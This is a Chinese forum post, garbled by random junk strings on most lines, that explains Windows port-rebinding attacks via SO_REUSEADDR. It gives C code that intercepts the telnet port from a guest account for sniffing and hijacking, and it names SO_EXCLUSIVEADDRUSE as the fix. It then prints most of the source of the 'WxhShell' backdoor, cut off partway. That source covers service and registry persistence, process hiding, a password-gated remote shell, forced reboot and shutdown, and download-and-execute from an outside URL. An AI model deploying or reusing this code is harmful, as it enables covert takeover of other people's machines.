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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3\j{*f$J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8VxjC1v+  
r\-Mj\$-  
  saddr.sin_family = AF_INET; KjFNb;mM  
n#8N{ya5x1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w7GF,a  
{y-7xg~}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~?T*D*  
#z$FxZT<b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +0lvQVdp}  
x=7hOI5u  
  这意味着什么?意味着可以进行如下的攻击: X2^`Znq9  
nKPvAe(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /G[; kR"  
j5QS/3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RR R'azT  
mVUDPMyZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VbQ9o  
}g6:9%ZMu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MDI[TNYG  
rWzw7T~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t F^|,9_<  
eJD !dGa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /|v:$iH,C  
Q%:#xG5AmE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sg;c|u  
H~y 7o_tg  
  #include s"G;rcS}#  
  #include ANgfG8>  
  #include  (o`"s~)  
  #include    vd+yU9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?+EN.P[;3  
  int main() CDOqdBQ  
  { N4y$$.uv2  
  WORD wVersionRequested; doM}vh)6  
  DWORD ret; `uK_}Vy_  
  WSADATA wsaData; ~Mu=,OT  
  BOOL val; ;/.ZjTRw  
  SOCKADDR_IN saddr; ~{MmUp rS  
  SOCKADDR_IN scaddr; u7R:7$H  
  int err; pI*/ - !I  
  SOCKET s; Hp`Mp)1s  
  SOCKET sc; 9;,_Q q  
  int caddsize; E07g^y"}i  
  HANDLE mt; #SWL$Vm>  
  DWORD tid;   TXx%\V_6  
  wVersionRequested = MAKEWORD( 2, 2 ); ^@V$'Bk  
  err = WSAStartup( wVersionRequested, &wsaData ); --Dd'  
  if ( err != 0 ) { T 9lk&7W  
  printf("error!WSAStartup failed!\n"); V$e\84<  
  return -1; :$eg{IXC"  
  } uEp v l  
  saddr.sin_family = AF_INET; /Hxz@=LC1  
   v"x{oD$R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;533;(d* o  
j(JUOief  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;yh}$)^9  
  saddr.sin_port = htons(23); PP{2{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |4RuT .-o  
  { 7k beAJ+{  
  printf("error!socket failed!\n"); zQsu~8PX  
  return -1; XHq8p[F  
  } GS1Vcav<  
  val = TRUE; Q 5R7se_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +Fu=9j/,j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sw!/ I PO  
  { hN% h.;s  
  printf("error!setsockopt failed!\n"); bqB gq  
  return -1; 4E&= qC]S  
  } 9D 2B8t"a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %\xwu(|kN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yj]\%3o<Z7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c o}o$}  
4.@gV/U(|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NUiNn 7C  
  { N[G<&f9  
  ret=GetLastError(); n|,kL!++.  
  printf("error!bind failed!\n"); cZn B 2T?  
  return -1; xxnMvL;  
  } $O|J8;"v  
  listen(s,2); P(N$U^pj  
  while(1) F,B,D^WD  
  { 'k2Z$+  
  caddsize = sizeof(scaddr); /*B^@G|]'  
  //接受连接请求 P<@Yux#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Mk-C&#'  
  if(sc!=INVALID_SOCKET) **jD&h7$s-  
  { K%TlBK V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dL9QYIfP  
  if(mt==NULL) MguH)r` uT  
  { +f)Nf) \q  
  printf("Thread Creat Failed!\n"); wr\d5j  
  break; Z$h39hm?c  
  } 0>jo+b\D$  
  } vF45tw  
  CloseHandle(mt); |Tz/9t  
  } >icK]W  
  closesocket(s); (+g!~MP  
  WSACleanup(); +*OY%;dQ7@  
  return 0; 4qw&G  
  }   qGS]2KY  
  DWORD WINAPI ClientThread(LPVOID lpParam) | ?Js)i  
  { (^h47kY  
  SOCKET ss = (SOCKET)lpParam; B@w Q [  
  SOCKET sc; 0q_Ol]<V  
  unsigned char buf[4096]; zw=as9z1-  
  SOCKADDR_IN saddr; #^IEQZgH  
  long num; 9HI9([Cs  
  DWORD val; 8YI.f  
  DWORD ret; ,^JP0Vc*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7 R1;'/;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z4#lZS`'A  
  saddr.sin_family = AF_INET; GvQ|+vC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'WH@Zk/l  
  saddr.sin_port = htons(23); .MO"8}]8Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Bfwb?&  
  { Q!DQ!;Br6  
  printf("error!socket failed!\n"); m4:b?[  
  return -1; -B\`O*Q  
  } @nN+F,phx  
  val = 100; 22?9KZ`Z=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #+Lo&%p#3  
  { h#bpog  
  ret = GetLastError(); A/NwM1z[o)  
  return -1; "yMr\jt~-  
  } 38P_wf~ \  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p-U'5<n  
  { J[<3Je=>$  
  ret = GetLastError(); ^=)? a;V  
  return -1; ,wmPK;j  
  } Mnpb".VU#T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U4*5o~!=S  
  { D]+tr%  
  printf("error!socket connect failed!\n"); Py(l+Ik`>  
  closesocket(sc); UQz8":#V  
  closesocket(ss); wL 5p0Xl  
  return -1; qIQvix$8  
  } _\ n'uW$  
  while(1) %^RlE@l9  
  { &,':@OQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g<~[k?~J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tr}@fa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Rk fr4  
  num = recv(ss,buf,4096,0); O'JH= '  
  if(num>0) 8<u_ wt@  
  send(sc,buf,num,0); ~S Js2- 2  
  else if(num==0) 6 USet`#  
  break; BzH7E[R49  
  num = recv(sc,buf,4096,0); ]zVe%Wa  
  if(num>0) UC*<]  
  send(ss,buf,num,0); 2vKnxK+ 5  
  else if(num==0) FE1dr_i  
  break; kl[bDb1p  
  } DSix(bs9  
  closesocket(ss); 7<{Zq8)  
  closesocket(sc); n15c1=gs  
  return 0 ; z x{\SU  
  } DC`6g#*<  
hD\C[C,  
}/G~"&N[  
========================================================== 5}e-~-  
f9u["e  
下边附上一个代码,,WXhSHELL "z^Ysvw&~  
D00rO4~6D%  
========================================================== Q>}I@eyJ  
~I/7{B|yX  
#include "stdafx.h" B dm<<<  
n[WXIE<  
#include <stdio.h> pCf-W/v  
#include <string.h> [AR$Sw60  
#include <windows.h> t]FFGnBZ  
#include <winsock2.h> +u _mT$|T  
#include <winsvc.h> y)U8\  
#include <urlmon.h> BU:s&+LYUv  
451C2 %y  
#pragma comment (lib, "Ws2_32.lib") L~ V 63K  
#pragma comment (lib, "urlmon.lib") 2!dIW5I  
UR-e'Z&]  
#define MAX_USER   100 // 最大客户端连接数 7 pg8kq@  
#define BUF_SOCK   200 // sock buffer Uy ;oJY  
#define KEY_BUFF   255 // 输入 buffer =]7|*-  
]5td,2E C  
#define REBOOT     0   // 重启 +C\?G/  
#define SHUTDOWN   1   // 关机 KnZm(c9+  
#eE:hiu<v  
#define DEF_PORT   5000 // 监听端口 u4o%qK  
oB3>0Pm*a.  
#define REG_LEN     16   // 注册表键长度 2ok>z$Y  
#define SVC_LEN     80   // NT服务名长度 V0JoUyZ  
Cgw#c%  
// 从dll定义API #f/-iu=L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aqs']  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x#dJH9NR[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @R}L 4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q+G=f  
$yaE!.Kc  
// wxhshell配置信息 ?Pmj}f  
struct WSCFG { iCk34C7  
  int ws_port;         // 监听端口 @oYq.baHX  
  char ws_passstr[REG_LEN]; // 口令 n2 ,b~S\e  
  int ws_autoins;       // 安装标记, 1=yes 0=no L6$,<}l  
  char ws_regname[REG_LEN]; // 注册表键名 ]2zx}D4f  
  char ws_svcname[REG_LEN]; // 服务名 v}[KVwse  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P9`i6H'~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~`tc|Zu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k1-?2kf"{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WF-imI:EK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RWTv,pLK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hPFIf>%}  
XNu2G19jb  
}; KU33P>a"[k  
.:RoD?px  
// default Wxhshell configuration r(vk2Qy  
struct WSCFG wscfg={DEF_PORT, |hp_X>Uv'  
    "xuhuanlingzhe", WKxJ`r\  
    1, QS=n 50T,  
    "Wxhshell", ?WUE+(oH>  
    "Wxhshell", `j=CzZ*em?  
            "WxhShell Service", 4B]8Mp~\aL  
    "Wrsky Windows CmdShell Service", #C%<g:F8  
    "Please Input Your Password: ", o/)\Q>IY  
  1, m/Yi;>I(  
  "http://www.wrsky.com/wxhshell.exe", 'zT/ x`V  
  "Wxhshell.exe" 1ygu>sKS&A  
    }; m U7Ad"  
ew?UHV  
// 消息定义模块 S2jo@bp!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NV9=~c x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C UBcU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]iLfe&f  
char *msg_ws_ext="\n\rExit."; Iob o5B  
char *msg_ws_end="\n\rQuit."; Bfw>2  
char *msg_ws_boot="\n\rReboot..."; -ZihEyG?V  
char *msg_ws_poff="\n\rShutdown..."; :sT<<LtI-  
char *msg_ws_down="\n\rSave to "; z eIBB  
r="X\ [on  
char *msg_ws_err="\n\rErr!"; 5-u=ZB%p  
char *msg_ws_ok="\n\rOK!"; , st4K;-  
$#Ji=JX  
char ExeFile[MAX_PATH]; u> >t"w  
int nUser = 0; NJl|/(]v  
HANDLE handles[MAX_USER]; :^iR&`2~  
int OsIsNt; sOJ"~p  
-QS_bQG%  
SERVICE_STATUS       serviceStatus; ~q|^z[7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v/yk T9@;  
/.WD '*H  
// 函数声明 ;oR-\;]/.  
int Install(void); 3'&]v6|  
int Uninstall(void); iQa Q"s  
int DownloadFile(char *sURL, SOCKET wsh); 2? !b!  
int Boot(int flag); kFk+TXLDIt  
void HideProc(void); RNvtgZ}k{X  
int GetOsVer(void); de ](l687I  
int Wxhshell(SOCKET wsl);  pd X9G  
void TalkWithClient(void *cs); OZt'ovY  
int CmdShell(SOCKET sock); t]vX9vv+D  
int StartFromService(void); ;#xhlR* ~  
int StartWxhshell(LPSTR lpCmdLine); $h_@`j  
n}MG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,9+@\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mbS &>  
UhEJznfi  
// 数据结构和表定义 &x=<>~Ag3  
SERVICE_TABLE_ENTRY DispatchTable[] = ,hOJe=u46  
{ 7?hC t  
{wscfg.ws_svcname, NTServiceMain}, 54 }s:[O  
{NULL, NULL} .-Ao%A W  
}; 6K<vyr40  
j@9nX4Z  
// 自我安装 l_f"}l  
int Install(void) oN _% oc  
{ _r,# l5~U  
  char svExeFile[MAX_PATH]; ~kN6Hr*X  
  HKEY key; PiH#9X B  
  strcpy(svExeFile,ExeFile); [|F.*06SK  
Uw)K [T  
// 如果是win9x系统,修改注册表设为自启动 vB.LbYyF  
if(!OsIsNt) { Qgf_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [;.zl1S<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z1]RwbA?1  
  RegCloseKey(key); D %5 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n7{c0;)$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +JQN=nTA  
  RegCloseKey(key); <w,aS;v6jp  
  return 0; + qS$t  
    } $W0lz#s:  
  } _wHqfj)  
} 7CQ48LH]  
else { fwl RwH(  
Pel3e ~?t  
// 如果是NT以上系统,安装为系统服务 7x1jpQ -  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zxsnrn;|  
if (schSCManager!=0) aX  ?ON  
{ ~KX!i 8+X  
  SC_HANDLE schService = CreateService IPT}JX'  
  ( St(7@)gvY  
  schSCManager, wL%>  
  wscfg.ws_svcname, zizrc.g/Yg  
  wscfg.ws_svcdisp, 74Kl!A  
  SERVICE_ALL_ACCESS, WnIh( 0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iezz[;t  
  SERVICE_AUTO_START, 7qh_URt@  
  SERVICE_ERROR_NORMAL, %l5J  
  svExeFile, * |,V$  
  NULL, 2oq>tnYyV[  
  NULL, {(aJrSE<z  
  NULL, 8}S|iM  
  NULL, x&?35B i  
  NULL Ii,L6c  
  ); N:&Gv'`  
  if (schService!=0) 0c`wJktWK  
  { S*\`LBl"nX  
  CloseServiceHandle(schService); e j`lY  
  CloseServiceHandle(schSCManager); E7jv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i-/'F  
  strcat(svExeFile,wscfg.ws_svcname); (sPZ1Fr\o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -EL"Sv?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z~P5SEg  
  RegCloseKey(key); WS,p}:yPZG  
  return 0; r\em-%:  
    } _e?(Gs0BM  
  } ;>YJ}:r"\  
  CloseServiceHandle(schSCManager); sa*hoL18  
} 9vVYZ}HC  
} z1YC%Y|R  
8cW]jm  
return 1; & d~6MSk  
} @s@r5uR9B  
q|Ga   
// 自我卸载 ]C'r4Ch^  
int Uninstall(void) .-<o[(s  
{ ,NVQ C=  
  HKEY key; ~>qcV=F^d,  
=MoPOib\n  
if(!OsIsNt) { "\e9Y<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XLOk+Fn  
  RegDeleteValue(key,wscfg.ws_regname); 3:76x  
  RegCloseKey(key); %3~jg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N b+zP[C  
  RegDeleteValue(key,wscfg.ws_regname); :@n e29,}  
  RegCloseKey(key); /)v X|qtIY  
  return 0; -1U]@s  
  }  okfhd{9  
} 2.2 s>?\  
} |qZ4h7wL  
else { $@DXS~UQA  
[dUW3}APV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3ne=7Mj  
if (schSCManager!=0) )kg^.tP  
{ J/)Q{*`_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %"{SGp  
  if (schService!=0) h( Iti&  
  { _%.atW7  
  if(DeleteService(schService)!=0) { Knn$<!>  
  CloseServiceHandle(schService); j1>1vD-`T  
  CloseServiceHandle(schSCManager); T} U`?s`)  
  return 0; z i<C 5E`  
  } XFH7jHnL+U  
  CloseServiceHandle(schService); UXe@c@3  
  } %/~Sq?f-9@  
  CloseServiceHandle(schSCManager); W${0#qq  
} Xi$uK-AHpj  
} z+Y0Zh";/#  
+AXui|mn  
return 1; ]BX|G`CCc  
} I)n%aTfo8  
 Q L  
// 从指定url下载文件 d)9=hp;,V  
int DownloadFile(char *sURL, SOCKET wsh) o2&mhT  
{ , @(lYeD"  
  HRESULT hr; z!?xz  
char seps[]= "/"; \iO ,y:  
char *token; ql^n=+U  
char *file; h\:"k_u#  
char myURL[MAX_PATH]; 7!z0)Ai_>=  
char myFILE[MAX_PATH]; qJrK?:O;  
'BtvT[KM  
strcpy(myURL,sURL); j#.Aiy:,  
  token=strtok(myURL,seps); _18) XR  
  while(token!=NULL) dd_n|x1  
  { i. 6c;KU  
    file=token; Wc#4%kT  
  token=strtok(NULL,seps); U%m,:b6V  
  } 0<nk>o  
 iCa#OQ  
GetCurrentDirectory(MAX_PATH,myFILE); jIg]?4bW[  
strcat(myFILE, "\\"); @ 2Z{en?  
strcat(myFILE, file); }eSaF@.  
  send(wsh,myFILE,strlen(myFILE),0); qN[U|3k  
send(wsh,"...",3,0); 08cC rG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ioz4kG!  
  if(hr==S_OK) r m\]  
return 0; _KLKa/3  
else 8+^q9rLii  
return 1; XeJn,=  
MBp%TX!  
} }~y i6!w'  
M;-PrJdyt  
// 系统电源模块 l*":WzRGvF  
int Boot(int flag) g-Vxl|hR  
{ d3<7t  
  HANDLE hToken; _-$(=`8|<{  
  TOKEN_PRIVILEGES tkp; iTwb#Q=  
_?CyKk\I  
  if(OsIsNt) { >-0Rq[)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0EKi?vP@y7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !%?O`+r  
    tkp.PrivilegeCount = 1; fl9`Mgu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GO2mccIB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ot($aY,t  
if(flag==REBOOT) { @j=:V!g2O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _h6SW2:z!E  
  return 0; "A6m-xE~  
} QVJq%P  
else { +0_e a~{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oIrO%v:'!  
  return 0; lK 5@qG#  
} Qzt'ZK  
  } s'b 4Me  
  else { Y 3h`uLQ  
if(flag==REBOOT) { _(l?gj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?(0=+o(`  
  return 0; qILb>#  
} C3)*Mn3%P  
else { N:x--,2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [MhKR }a  
  return 0; +saXN6  
} ;-#2p^  
} G5vp(%j  
"ngULpb{R  
return 1; JlR$"GU  
} hK+6S3-E z  
> ~:Md  
// win9x进程隐藏模块 4Oo{\&(  
void HideProc(void) z?dd5.k  
{ `i`+yh>pc#  
`%;Hj _X}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $>Qq 7  
  if ( hKernel != NULL ) g&z8t;@  
  { E@,m +  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N,W ?}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'HKDGQl`  
    FreeLibrary(hKernel); z36wWdRa6  
  } GXC,p(vbE  
YLJ^R$pi  
return; ckGmwYP9  
} v;soJlxF~  
hh8Grl;  
// 获取操作系统版本 ]-8WM5\qJM  
int GetOsVer(void) 3{$vN).  
{ }`cf3'rdk  
  OSVERSIONINFO winfo; @,Z0u2WLl6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <aztbq?  
  GetVersionEx(&winfo); L"bZ~'y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JTIt!E}P  
  return 1; V6Mt;e)C  
  else @`$'sU  
  return 0; J0V`sK  
} 0civXZgj  
Y<L35 ?  
// 客户端句柄模块 L4,b ThSG  
int Wxhshell(SOCKET wsl) HS[($  
{ m8@&-,T   
  SOCKET wsh; !iO2yp  
  struct sockaddr_in client; $Nd,6w*`  
  DWORD myID; <O5WY37"q  
sSd/\Ap  
  while(nUser<MAX_USER) w4(L@1  
{ FA%_jM  
  int nSize=sizeof(client); E\|nP~;~F9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _j+!Fd  
  if(wsh==INVALID_SOCKET) return 1; a`L:E'|B9  
m9vX8;.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eU\xOTl~<{  
if(handles[nUser]==0)  ^M{,{bG  
  closesocket(wsh); JIhEkY  
else y];-D>jk  
  nUser++; z',Fa4@z  
  } DQT'OZ :w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [\AOr`7  
 0j_kK  
  return 0; yQuL[#p  
} h2 KI  
7:,f|>  
// 关闭 socket 9w$m\nV  
void CloseIt(SOCKET wsh) =:aJZ[UU<2  
{ w lH\w?  
closesocket(wsh); ~: {05W  
nUser--; M@#T`aS  
ExitThread(0); 9.8%Iw  
} 4qdoF_  
XEQTTD<  
// 客户端请求句柄 MjU|XQS:  
void TalkWithClient(void *cs) h Ta(^  
{ sxsb)a  
w8XCU> |  
  SOCKET wsh=(SOCKET)cs; f. "\~  
  char pwd[SVC_LEN]; xNzGp5H  
  char cmd[KEY_BUFF]; Nai5!_'  
char chr[1]; ?u|@,tQ[  
int i,j; CJ* D  
_Z23lF 9  
  while (nUser < MAX_USER) { $c9-Q+pZ  
XEgJ7h_  
if(wscfg.ws_passstr) { VGmvfhf#"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6|zhqb|s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5BJ E  
  //ZeroMemory(pwd,KEY_BUFF); ^Jp,&  
      i=0; )V\@N*L`ik  
  while(i<SVC_LEN) { TWzLJ63*  
1h&`mqY)L.  
  // 设置超时 ? 3=G'Ip5n  
  fd_set FdRead; %WgN+A0  
  struct timeval TimeOut; b~J)LXj]w  
  FD_ZERO(&FdRead); &}r"Z?f)  
  FD_SET(wsh,&FdRead); fes s6=k  
  TimeOut.tv_sec=8; @eJCr)#}  
  TimeOut.tv_usec=0; N7?B"p/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H5T_i$W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G18w3BFx  
yd).}@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N% 4"9K  
  pwd=chr[0]; GC{M"q|_  
  if(chr[0]==0xd || chr[0]==0xa) { 83n%pS4x  
  pwd=0; eXW|{asx  
  break; $@>0;i ::  
  } y3zP`^  
  i++; Ix5&B6L8  
    } rW:krx9  
TxX=(7V  
  // 如果是非法用户,关闭 socket s_'&_>D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /8FmPCp}r  
} 3 r&  
O$<>v\NC?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :OG I|[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %GHGd'KO&  
T#) )_aC  
while(1) { wY8:j  
Y()" 2CCV  
  ZeroMemory(cmd,KEY_BUFF); f8Iddm#  
Nc;O)K!FH  
      // 自动支持客户端 telnet标准   8R,<S-+v  
  j=0; p49]{2GXb  
  while(j<KEY_BUFF) { =V[uXm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~SnUnNDm`  
  cmd[j]=chr[0]; Jsz!ro  
  if(chr[0]==0xa || chr[0]==0xd) { Z!)~?<gcq:  
  cmd[j]=0; ilA45@  
  break; 0NXH449I=  
  } 5 % 2A[B  
  j++; }yz>(Pq  
    } >]\I:T  
ffZ~r%25{  
  // 下载文件 5E&#Kh(I  
  if(strstr(cmd,"http://")) { Z0F~?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,#K/+T  
  if(DownloadFile(cmd,wsh)) F$C6( C?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23s;O))  
  else EY,jy]|#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^[M{s(b  
  } gc9R;B1  
  else { *doNPp)m  
bMyld&ga  
    switch(cmd[0]) { e$# *t  
  |A8@r&   
  // 帮助 2cR[~\_9.  
  case '?': { "& ,ov#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IS2cU'   
    break; hH %>  
  } &{}Mds  
  // 安装 jJy:/!i  
  case 'i': { EB~]6.1  
    if(Install()) ?sf<cFF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1E+12{~m"i  
    else F (*B1J2_g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gcJ!_KZK  
    break; $[ {5+*  
    } g7\ =  
  // 卸载 &Y{^yb  
  case 'r': { }LzBo\  
    if(Uninstall()) JVZ-nHf(9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,_2-Op  
    else T5S4,.o9W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yj %]|E-  
    break; a.Ho>(V/4  
    } 3JCo!n0   
  // 显示 wxhshell 所在路径 ]&cnc8tC  
  case 'p': { 0MG>77  
    char svExeFile[MAX_PATH]; C($l'jd&  
    strcpy(svExeFile,"\n\r"); !"rPSGK*  
      strcat(svExeFile,ExeFile); xa>| k>I  
        send(wsh,svExeFile,strlen(svExeFile),0); G]^[i6PQs  
    break; w!.@64-  
    } yvAO"43  
  // 重启 [q <'ty  
  case 'b': { kv+%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sV\_DP/l  
    if(Boot(REBOOT)) C]`uC^6g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Ome]+0  
    else { c8l>OS5i3_  
    closesocket(wsh); j4.wd RK  
    ExitThread(0); "6B7EH  
    } fz&B$1;8  
    break; OQVrg2A%(  
    } }9~^}99}  
  // 关机 I6>J.6luF9  
  case 'd': { RK3y q$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $l7^-SK`E  
